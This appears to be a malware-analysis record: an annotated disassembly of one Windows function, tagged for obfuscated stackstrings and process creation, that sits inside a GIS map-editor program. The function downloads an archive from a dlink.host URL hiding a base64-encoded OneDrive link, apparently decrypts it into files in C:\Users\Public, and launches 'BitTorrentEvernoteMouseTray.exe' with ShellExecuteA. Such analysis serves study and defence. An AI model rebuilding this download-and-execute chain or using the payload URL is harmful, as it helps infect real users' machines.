Function at 0x14004c710
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x1b8
mov qword [rsp + 0x190], 0xfffffffffffffffe
mov rax, qword [0x140331ed8]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x108], Ordinal_60
mov byte [rsp + 0x109], 0x42
mov byte [rsp + 0x10a], Ordinal_50
mov byte [rsp + 0x10b], Ordinal_60
mov byte [rsp + 0x10c], 0x43
mov byte [rsp + 0x10d], gethostname
mov byte [rsp + 0x10e], 0x41
mov byte [rsp + 0x10f], 0x44
mov byte [rsp + 0x110], Ordinal_60
mov byte [rsp + 0x111], 0x43
mov byte [rsp + 0x112], 0x46
mov byte [rsp + 0x113], 0x52
mov byte [rsp + 0x114], gethostname
mov byte [rsp + 0x115], 0x44
mov byte [rsp + 0x116], gethostname
mov byte [rsp + 0x117], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x118], 0
lea rcx, [rsp + 0x90]
call fcn.140040190
nop
lea rdx, str.C:UsersPublicen.dat
lea rcx, [rsp + 0x38]
call fcn.140040750
nop
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamFRTXRmUzQ0VUFKWml4P2U9QXZMVDdG.zip
lea rcx, [rsp + 0x60]
call fcn.140040750
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x90]
call fcn.1400404c0
nop
lea rcx, [rsp + 0x60]
call fcn.1400407c0
nop
lea rcx, [rsp + 0x38]
call fcn.1400407c0
lea rcx, [rsp + 0x90]
call fcn.1400402b0
lea r8, [rsp + 0x108]
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublicen.dat
call fcn.14004c5f0
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublic
call fcn.14004c450
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [0x14027143f]
lea r8, str.C:UsersPublic
lea rdx, [0x140271454]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, pe_nt_image_headers64
call fcn.14003b730
mov qword [rsp + 0x178], rax
cmp qword [rsp + 0x178], 0
je 0x14004c8f1
lea rax, str.CIGisMapEditorView
mov qword [rsp + 0x20], rax
lea r9, str._bf_
lea r8, str.CIGisMapEditorDoc
mov edx, 0x141
mov rcx, qword [rsp + 0x178]
call fcn.1400e5b44
mov qword [rsp + 0x198], rax
jmp 0x14004c8fd
mov qword [rsp + 0x198], 0
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
jne 0x14004c94c
mov dword [rsp + 0x180], 0
lea rcx, [rsp + 0x90]
call fcn.140040250
mov eax, dword [rsp + 0x180]
jmp 0x14004ca1d
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x1c0]
call fcn.1400e5374
lea rcx, [rsp + 0x120]
call fcn.1400e2f90
nop
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x1c0]
call fcn.1400e2210
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x1c0]
call fcn.1400e5164
test eax, eax
jne 0x14004c9cc
mov dword [rsp + 0x184], 0
lea rcx, [rsp + 0x120]
call fcn.1400e3084
nop
lea rcx, [rsp + 0x90]
call fcn.140040250
mov eax, dword [rsp + 0x184]
jmp 0x14004ca1d
xor edx, edx
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rax + 0x40]
call fcn.1400937f0
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rax + 0x40]
call fcn.14000ef80
mov dword [rsp + 0x188], 1
lea rcx, [rsp + 0x120]
call fcn.1400e3084
nop
lea rcx, [rsp + 0x90]
call fcn.140040250
mov eax, dword [rsp + 0x188]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1401ed9f0
add rsp, 0x1b8
ret